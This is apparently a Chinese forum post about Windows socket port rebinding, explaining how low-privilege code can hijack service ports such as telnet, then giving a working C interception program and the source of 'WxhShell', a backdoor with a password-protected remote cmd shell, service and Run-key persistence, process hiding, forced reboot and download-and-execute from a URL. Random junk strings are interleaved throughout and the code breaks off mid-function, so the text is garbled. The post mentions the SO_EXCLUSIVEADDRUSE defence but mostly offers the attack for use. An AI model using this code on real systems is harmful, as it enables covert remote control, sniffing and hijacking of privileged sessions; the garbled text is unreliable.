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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: g_>ZE s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `;_tt_ ^i8I 1@ = saddr.sin_family = AF_INET; #w*pWD^ lQsQRp saddr.sin_addr.s_addr = htonl(INADDR_ANY); B![5+ 'iVo,m[yKU bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); BH-[q9pf 0o<qEo^ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 5i/E=D -PnC^r0L$ 这意味着什么?意味着可以进行如下的攻击: HEuM"2{DMM *3/7wSV: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Hr+-ndH!Pq VBX#
!K1Q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r$#G%FMv 46zaxcY<! 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {IMzR'PN 0lRH
Yu 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Z8&C-yCC sv;zvEn;-L 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ZW?7g+P UTTC:=F+ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 FqTkUWd,# Wv0'?NL. 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 SznE:+ +hg\DqO^M #include Y/S3)o #include HLe^| #include $CmX
&%L= #include vaj66nV DWORD WINAPI ClientThread(LPVOID lpParam); IPO[J^#Me int main() hf<$vRti> { )zXyV]xe WORD wVersionRequested; 7rSUSra DWORD ret; (oXN >^-D WSADATA wsaData; VWshFI BOOL val; DVhTb SOCKADDR_IN saddr; 1qC:3
;P SOCKADDR_IN scaddr; %]ayW$4 int err; ,z1!~gIal SOCKET s; @ >(u:. SOCKET sc; i$ L]X[ int caddsize; eUkoVr HANDLE mt; j/9QV DWORD tid; KupMndK wVersionRequested = MAKEWORD( 2, 2 ); CjQ"o Qw err = WSAStartup( wVersionRequested, &wsaData ); Ys$YI{ if ( err != 0 ) { v1C.\fL printf("error!WSAStartup failed!\n"); Tq84Fn!HJ> return -1; @LKG\zYBu } _g 4/% saddr.sin_family = AF_INET; <8)s F36ViN\b //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yb{Q, Dz I/Jp,~JT* saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [S]!+YBK saddr.sin_port = htons(23); d=Do@)
m| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {TncqA { c,q"}nE8w printf("error!socket failed!\n"); 0sd-s~; return -1;
F4rKFMr } sdf% val = TRUE; *kQCW#y0 //SO_REUSEADDR选项就是可以实现端口重绑定的 ^v!im\ r if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) DvX3/z#T { Iv(Qa6( printf("error!setsockopt failed!\n"); )E:,V~< 8 return -1; Iz)hz9k } P/pjy //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; QP%kL*=8 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6!B^xm.R @ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "Py Wo @%<?GNS O if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) yvz?4m"_yB { nnE_OK!}T ret=GetLastError(); FxfL+}?Q printf("error!bind failed!\n"); `<J#l;y return -1; v
(ka,Dk3 } `x UG| listen(s,2); 3%R{"Q" while(1) y|.fR>5 { rAx"~l.= caddsize = sizeof(scaddr); *sw-eyn( //接受连接请求 (
f,J_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _Dj<Eu_ if(sc!=INVALID_SOCKET) 23-t$y] { h/Hl?O8[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D;zWksq if(mt==NULL) XocsSs { f>r3$WKj printf("Thread Creat Failed!\n"); ^IGyuj0]jG break; %X9b=%'+ } NQC3!=pQ}Y } j`R<90~/ CloseHandle(mt); C.>
} 6z3T?`}Y closesocket(s); Ka]@[R6e WSACleanup(); Taf
n:Nw} return 0; xP/OsaxN } MCeu0e^) DWORD WINAPI ClientThread(LPVOID lpParam) @8nLQh^ { qWO]s=V! SOCKET ss = (SOCKET)lpParam; wn+j39y?ZY SOCKET sc; 's[BK/ unsigned char buf[4096]; t'R':+0Vf SOCKADDR_IN saddr; 4TUtY: long num; ~o@\
n DWORD val; H#L#2M% DWORD ret; IyS" //如果是隐藏端口应用的话,可以在此处加一些判断 -|}%~0)/bH //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 K 3Yw8t2J saddr.sin_family = AF_INET; yW\XNX saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {/d4PI7)tK saddr.sin_port = htons(23); 'j,oIqx if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +2DE/wE]e+ { BWUt{,?KU printf("error!socket failed!\n"); CE#\Roi x) return -1; a@#Q:O)4 } ]U,CKJF%/ val = 100; fxDj+Q1p if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8xF)_UV { 5VR.o!h3I ret = GetLastError(); aDL)|>"Q return -1; f.oP } {l2N& if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U:]MgZWn { AkrTfi4hC ret = GetLastError(); ZXsYn return -1; 1")FWN_K/T } p9-0?(] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) M8';%=@ { e?V,fzg printf("error!socket connect failed!\n"); ~G>jw"r closesocket(sc); TbLe6x closesocket(ss); vv+D*e&< return -1; *hVb5CS } BeK2;[5C while(1) 6b?`:$Cw3) { <EMkD1e //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =m}TU)4. //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^m*3&x8 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E4+b-?PB~ num = recv(ss,buf,4096,0); $$JIBf8 if(num>0) ll^DY
hx} send(sc,buf,num,0); XHxz @_rw else if(num==0) ?6i;)eIOI break; 3AURzU num = recv(sc,buf,4096,0); {6'*Phw if(num>0) W`$[j0 send(ss,buf,num,0); 0
y<k][ else if(num==0) &hayR_F9 break; cd!|Ne>fe } .nEs:yn closesocket(ss); Is13: closesocket(sc); nv"G;W return 0 ; p8=|5. } Qyz>ZPu}sz {XtoiI ~r<p@k=.#0 ========================================================== q7,^E`5EgU <_9!
下边附上一个代码,,WXhSHELL s~^*+kq td >,TW=A* ========================================================== .Gh%p`< Ikj=`,a2B #include "stdafx.h" Y0@yD#,0~ mDfwn7f #include <stdio.h> #vQ? #include <string.h> P@gtdi(Q #include <windows.h> Ep mJWbU #include <winsock2.h> cC%j!8! #include <winsvc.h> jYWw.g< #include <urlmon.h> xO7Yt
l iK!dr1:wSw #pragma comment (lib, "Ws2_32.lib") KmQ^?Ad-C #pragma comment (lib, "urlmon.lib") ==N` !+ EJLQ&oH[ #define MAX_USER 100 // 最大客户端连接数 vU!8`x) #define BUF_SOCK 200 // sock buffer :.$"kXm^
#define KEY_BUFF 255 // 输入 buffer _gW{gLYyJ )lh8
k{ #define REBOOT 0 // 重启 IaLMWoh #define SHUTDOWN 1 // 关机 V&i2L.{G) .+yW%~0 #define DEF_PORT 5000 // 监听端口 j0FW8!!-g R&#tSL #define REG_LEN 16 // 注册表键长度 7^MX l #define SVC_LEN 80 // NT服务名长度 d+6]u_J ;i\C]* // 从dll定义API F$Q04Qw typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RN[]Jt#6 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <Ct_d
Cc typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }c%
pH{HI typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KiAcA]0 O8lFx_N7Q // wxhshell配置信息 )iU^&@[S struct WSCFG { ~c*
UAowS int ws_port; // 监听端口 T%(C-Quh char ws_passstr[REG_LEN]; // 口令 \"x>JW4w int ws_autoins; // 安装标记, 1=yes 0=no :)IV!_>'d char ws_regname[REG_LEN]; // 注册表键名 (a.1M8v+Sg char ws_svcname[REG_LEN]; // 服务名 )eYDQA>J char ws_svcdisp[SVC_LEN]; // 服务显示名 ewnfeg1 char ws_svcdesc[SVC_LEN]; // 服务描述信息 / p)F>WR char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Zu21L3 int ws_downexe; // 下载执行标记, 1=yes 0=no s+,&|;Q char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" m'x;,xfY&F char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b,@aqu C>X|VP|C }; VFj(M
j`}G L8&D(wh/f // default Wxhshell configuration z/ 7$NxJH struct WSCFG wscfg={DEF_PORT, 3;_
n{& "xuhuanlingzhe", >A}0Ho 1, LA4<#KP "Wxhshell", ;`(R7X
*3 "Wxhshell", [2
zt ^ "WxhShell Service", 8IGt4UF&? "Wrsky Windows CmdShell Service", _1|$P|$P. "Please Input Your Password: ", JA^v 1, 7I}P*%(f " http://www.wrsky.com/wxhshell.exe", #BY`h~&T "Wxhshell.exe" #@qN8J}R }; 6/tI8H3E T3N"CUk // 消息定义模块 +e P.s_t char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; por/^=e{Y char *msg_ws_prompt="\n\r? for help\n\r#>"; qX#MV>1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 9+qOP>m char *msg_ws_ext="\n\rExit."; a#0;==# char *msg_ws_end="\n\rQuit."; 3fr ^ T char *msg_ws_boot="\n\rReboot..."; OgCy4_a[f char *msg_ws_poff="\n\rShutdown..."; wLJ]&puwm char *msg_ws_down="\n\rSave to "; oyx^a9 E m{aM char *msg_ws_err="\n\rErr!"; [}2Z/
char *msg_ws_ok="\n\rOK!"; W5pb;74| 5`-UMz<] char ExeFile[MAX_PATH]; PaO-J&< int nUser = 0; ]@
M5_%p HANDLE handles[MAX_USER]; Yr+23Ro int OsIsNt; 7G93,dJ KE}H&1PjU SERVICE_STATUS serviceStatus; #sB,1" SERVICE_STATUS_HANDLE hServiceStatusHandle; 9&Ne+MY^% 7J*N_8?2 // 函数声明 ?+2b(2&MXE int Install(void); PmX2[7 int Uninstall(void); '#\1uXM1U? int DownloadFile(char *sURL, SOCKET wsh); h<6UC%'ac int Boot(int flag);
CN& void HideProc(void); *>q/WLR int GetOsVer(void); sZhMa> int Wxhshell(SOCKET wsl); 'Ot,H_pE void TalkWithClient(void *cs); a|_p,_ int CmdShell(SOCKET sock); ~i~%~doa int StartFromService(void); C~4PE>YtTv int StartWxhshell(LPSTR lpCmdLine); NwlU%{7W6
..W-76{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); },@^0UH4c VOID WINAPI NTServiceHandler( DWORD fdwControl ); c EnkU] ) R2XU // 数据结构和表定义 1X1 NtS@ SERVICE_TABLE_ENTRY DispatchTable[] = *!^<m0 { |AC1\)2tT {wscfg.ws_svcname, NTServiceMain}, vky .^ {NULL, NULL} y*MF&mQ[ }; f-nz{U .5!t:FPOv // 自我安装 ~SSU` int Install(void) r\;ut4wy { S.!UPkW H char svExeFile[MAX_PATH]; ;\MW$/[JCy HKEY key; Q]o C47( strcpy(svExeFile,ExeFile); .UoOO'1K 2c?qV // 如果是win9x系统,修改注册表设为自启动 `-3o+ID\ if(!OsIsNt) { pStk/te,XK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xooY'El*# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4`Ic&c/ RegCloseKey(key); W[+|} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,sGZ2=M}J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >c-fI$] RegCloseKey(key); HHjt/gc}` return 0; Bvt@X } ^uJU}v: } 7H>@iI"? } OCy0#aPRS else { fm~kM
J X0*QV- RN // 如果是NT以上系统,安装为系统服务 -YD+(c`l SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,7XtH>2s if (schSCManager!=0) >M Jg , {
rxO2QQ%V SC_HANDLE schService = CreateService ) _ I,KEe ( ,#W schSCManager, +h_ !0dG wscfg.ws_svcname, flgRpXt wscfg.ws_svcdisp, Q%aU42?_1 SERVICE_ALL_ACCESS, 0q\7C[R_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4 g.
bR SERVICE_AUTO_START, !EQ@#qW/ SERVICE_ERROR_NORMAL, .Wi{lt svExeFile, d2s OYCKe NULL, 09o~9z0 NULL, f.GETw NULL, 9z?oB&5 NULL, ;V<iL? NULL ,&U4a1%i#c ); qNyzU@ if (schService!=0) 1+`l7'F { 2wqk,c[] CloseServiceHandle(schService); YC]L)eafo` CloseServiceHandle(schSCManager); 97!>%d[0 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $>U#
W: strcat(svExeFile,wscfg.ws_svcname);
wiX ~D
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A|}l)!% RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |_u8mV RegCloseKey(key); 7t9c7HLuj/ return 0; pS 4&w8s } e$c?}3E!z } aj,)P3DJu CloseServiceHandle(schSCManager); ECa$vvK
m } a'\By?V]
} uR6w|e` mYB`)M*Y return 1; t)oa pIeIe } sM1RU zT~B6 // 自我卸载 ea=83 Zj int Uninstall(void) Rd+P,PO { pO<-., HKEY key; *5$&`&, *p ? e.%nd if(!OsIsNt) { h06ku2Q
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,G^[o,hS RegDeleteValue(key,wscfg.ws_regname); Hg}I]!B RegCloseKey(key); 1-I
Swd'u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =j0x.fSe RegDeleteValue(key,wscfg.ws_regname); V%HS\<$h RegCloseKey(key); >zY \Llv return 0; bAxTLIf } D 7shiv|, } I.}1JJF* } 47 u@4"M else { 2>S~I"o0 xSpC'"
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NnxM3* if (schSCManager!=0) {F*N=pSq { 9CUimZ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^c9ThV.v if (schService!=0) U6 82Th { >', y if(DeleteService(schService)!=0) { 5IMSNGS CloseServiceHandle(schService); e/e0d<(1 CloseServiceHandle(schSCManager); t\j!K2 return 0;
B{,
Bno } h\,5/ )Y CloseServiceHandle(schService); 5!fSW2N } 6X+}>qy CloseServiceHandle(schSCManager); ZcPUtun } ((3t: } 4 9w=kzo PNF4>) return 1; {KaN,td9 } =xEk7'W6k hd^x}iK" // 从指定url下载文件 !Cj(A"uqY int DownloadFile(char *sURL, SOCKET wsh) M1=_^f=&. { ;R1B9-, HRESULT hr; . A<sr char seps[]= "/"; m^$5K's& char *token; N2~$rpU3 char *file; p?myuNd[ char myURL[MAX_PATH]; 5}<[[}( char myFILE[MAX_PATH]; [%.18FWI H/i<_L P strcpy(myURL,sURL); >iy^$bqF token=strtok(myURL,seps); J9@}DB while(token!=NULL) GAU!_M5 N { gg8c7d:Q file=token; |QYZRz token=strtok(NULL,seps); iPU% /_> } _om[VKJd A^pW]r=Xtk GetCurrentDirectory(MAX_PATH,myFILE); npj/7nZj strcat(myFILE, "\\"); XV2=8#R strcat(myFILE, file); e{t=>vry send(wsh,myFILE,strlen(myFILE),0); V<-htV send(wsh,"...",3,0); G.ud1,S# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9--dRTG if(hr==S_OK) :Y.e[@!1x return 0; i`~~+6`J else eUs-5
L return 1; IO[^z
v4F LVmY=d> } 1 ;Ju] Qu}N:P9l?X // 系统电源模块 lM&UFEl-\ int Boot(int flag) P!>g7X { ;Id"n7W HANDLE hToken; U3VT*nj' TOKEN_PRIVILEGES tkp; w -dI<s qL>v&Rd< if(OsIsNt) { fM9xy \. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5Jd`
^U LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'RQiLUF tkp.PrivilegeCount = 1; 0x4l5x$8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t[j9R#02? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~,G]glu8 if(flag==REBOOT) { JilKZQmk if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z"3H{ A return 0; Xr2 Wa } ax]9QrA else { C,3T!\ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^@N`e1 return 0; _0*=u$~R } Y)v% } .Map else { |} 9GHjG if(flag==REBOOT) { 1V\1]J/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v'$ykZ!Z return 0; Pd,!& } tB!|p 6 else { vS2(Q0+TZi if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pdy+h{]3 return 0; %27G 2^1 } %D. @L } wV?[3bEhM DSTx#* return 1; 78gob&p? } w[|y0jtw vevx|<9, // win9x进程隐藏模块 np= J:v4 void HideProc(void) oX2r?.j#M { hN!.@L ayN*fiV] HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Mru~<:9 if ( hKernel != NULL ) S[ i$e { ;Xz(B4 N~o pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p+!f(H ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .!9Vt# FreeLibrary(hKernel); x={kjym L } =:kiSrBS3t eN Hpgj return; }D(DU5r } 3KR2TcT#{ 7Z9.z4\ // 获取操作系统版本 % 1OC#& int GetOsVer(void) 6_x}.bkIx= { elNB7%Y/ OSVERSIONINFO winfo; ik8|9m4/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3KB|NS GetVersionEx(&winfo); RT1{+:l if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Jx)~kK return 1; 6hR^qdHg else jo]m12ps return 0; X^u4%O[' } uv?8V@x2 hqdC9?\ // 客户端句柄模块 +qE,<c}} int Wxhshell(SOCKET wsl) v#{G8'+% { -9hp+0 < SOCKET wsh; 8ct+?-3g struct sockaddr_in client; GG@iKL V DWORD myID; JS }_q1H : Bdi pc while(nUser<MAX_USER) f$~ _FX { k8!hvJ)? int nSize=sizeof(client); /F\>Z] wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V,99N'o~x if(wsh==INVALID_SOCKET) return 1; ~Rx~g ,AGM?&A handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 7-g]A2N if(handles[nUser]==0) g6x/f<2x closesocket(wsh); TyxU6<>4J4 else OqAh4qa,$ nUser++; 44<9zHK } (**-"o]HH WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xMO[3D&D s8`}x _k= return 0; +xoyKP! } [XA&&EcU duZ|mT8Q== // 关闭 socket o(v"?Y 6 void CloseIt(SOCKET wsh) Huc3|~9 { ^VM"!O;h{ closesocket(wsh); A1#4nkkc9 nUser--; Mm:a+T ExitThread(0); \FY/eQ*07 } yH0yO*RZ Pl>nd)i` // 客户端请求句柄 n',9#I(!L void TalkWithClient(void *cs) T6/$pJl { i"2J5LLv YG}p$\R SOCKET wsh=(SOCKET)cs; S?,KgMVM char pwd[SVC_LEN]; pUCEYR char cmd[KEY_BUFF]; )sY$\^'WY char chr[1]; ZYl-p]\*y int i,j; cAsSN.HFS 1%]{0P0?[ while (nUser < MAX_USER) { @@&@}IQcR1 @vQ;>4 i. if(wscfg.ws_passstr) { P@! Q1pr if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;ZE<6;#3IP //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dZ;~b(CA //ZeroMemory(pwd,KEY_BUFF); M Z|c7f&` i=0; P}.yEta while(i<SVC_LEN) { K\Y6
cj FzsS~C$wH{ // 设置超时 O) =73e\ fd_set FdRead; Hjo:;s struct timeval TimeOut; {8>_,z^P) FD_ZERO(&FdRead); |+$j(YuH FD_SET(wsh,&FdRead); 2\iD;Z#gM TimeOut.tv_sec=8; /FNj|7s TimeOut.tv_usec=0; &a2V-|G', int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,Rr&. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4<eJ (-G(^Tn if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 46.q anh pwd =chr[0]; AIRVvW~($ if(chr[0]==0xd || chr[0]==0xa) { +~pc%3* pwd=0; 40l#'< y; break; |]]pHC_/W } 2}xFv2X i++; ]=
QCCC } 7]HIE]# &|&YRHv // 如果是非法用户,关闭 socket aBA#\eV if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 37M[9m|D* } "=Fn.r4I :xUl+(+ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J!^~KN6[ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dO4U9{+ ,ex(pmZ; while(1) { 7yCx !P; $xn%i\ ZeroMemory(cmd,KEY_BUFF); L!}j3(I 8Q)mmkI\= // 自动支持客户端 telnet标准 g9r5t'; j=0; RxDxLU2kt while(j<KEY_BUFF) { Uub%s`O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f6_|dvY3 cmd[j]=chr[0]; yOCcp+`T} if(chr[0]==0xa || chr[0]==0xd) { 9Nbg@5( cmd[j]=0; @v-)|8GdY break; "62Ysapq+ } 0 c'2rx j++; Z-sN4fr a } 2.L6]^N p( )b2E/G@X& // 下载文件 'hHX"\|RA if(strstr(cmd,"http://")) { VFaK>gQ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0-MasI&b if(DownloadFile(cmd,wsh)) >p#d;wK4_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); VEYKrZA else 6%hEs6-R send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Oqnb+ } hs#s $})}Z else { xbH!:R; r
L|BkN switch(cmd[0]) { {^O/MMB\\%
g8qAJ4 // 帮助 7)It1i- case '?': { :bF2b..XOu send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m_ONsZHy break; i$<v*$.o } ]X;*\- // 安装 !rmo*-=^= case 'i': { (=/L#Yg_ if(Install()) VqT[ca\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 73Zs/ else %1d6j<7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2
]6u
Be break; <+JFal } XlcDF|?{. // 卸载 zSufU2 case 'r': { hQLx"R$ if(Uninstall()) }@0. send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q2WrB+/ else $W]guG send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k yA(m;r break; 3\~fe/z'I } [*E.G~IS` // 显示 wxhshell 所在路径 fe`G^hV case 'p': { +GtGyp char svExeFile[MAX_PATH]; _;RD-kv strcpy(svExeFile,"\n\r"); ! { aA*E{ strcat(svExeFile,ExeFile); (w send(wsh,svExeFile,strlen(svExeFile),0); FQRcZpv; break; #EK8Qe_ } 6HQwL\r79 // 重启 I`>%2mP[C case 'b': { k$- q;VI send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vyy\^nL if(Boot(REBOOT)) AdW7 vn send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7}85o
J else { 8ngf(#_{_n closesocket(wsh); UeeV+xU ExitThread(0); 1caod0gor } YhR"_ break; .[s82c]]6 } ZO$T/GE6% // 关机 zhL,BTH case 'd': { 5W-M8dc6 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1D DOUV
if(Boot(SHUTDOWN)) ZJM^P'r.1c send(wsh,msg_ws_err,strlen(msg_ws_err),0); %*}f<k{6 else { H43D=N& closesocket(wsh); ay[*b_f ExitThread(0); h%e!f# } @b({QM| break; Uwa1)Lwn } |/Z)? // 获取shell _@76eZd case 's': { 9h pM*wt CmdShell(wsh); 3f8Z?[Bb@ closesocket(wsh); o)WSMV(&f ExitThread(0); 7?#32B
Gr break; o|C{ s } x*)O<K // 退出 [GM<Wt0 case 'x': { `^{P,N>X send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
BT0hx!Ti CloseIt(wsh); 1^dWmxUZH break; @kymL8"2w } ij5YV3 // 离开 UlytxWkUX case 'q': { E3.s8}} send(wsh,msg_ws_end,strlen(msg_ws_end),0); nsk
6a closesocket(wsh); _r'M^=yx[ WSACleanup(); 4y.[tk5 exit(1); \$"Xr break; bux-t3g7+ } p7er04/}\ } pT tX[CE } c-d}E!C: !f6 // 提示信息 lsCh K if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;"z>p25=T } t;3.; } R3A^VE;qP Gy%e%' return; =@o} } `m^OnH pkx>6(Y // shell模块句柄 =d}3>YHS int CmdShell(SOCKET sock) ev $eM { mZyTo/\0 STARTUPINFO si; stPCw$@ ZeroMemory(&si,sizeof(si)); HenJlo si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @Rm/g#!h" si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xJCpWU3wM PROCESS_INFORMATION ProcessInfo; Df (6DuW char cmdline[]="cmd"; tUQ)q CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yhaYlYv[_3 return 0; |+;"^<T)l } $]FWpr%) /
<p HDY // 自身启动模式 jTnu! H2o int StartFromService(void) kN)ev?pQ[ { i7FEjjGtG typedef struct Cp%|Q.? { 7
<xxOY>y DWORD ExitStatus; D_Y;N3E/rS DWORD PebBaseAddress; |wDCIHzQ DWORD AffinityMask;
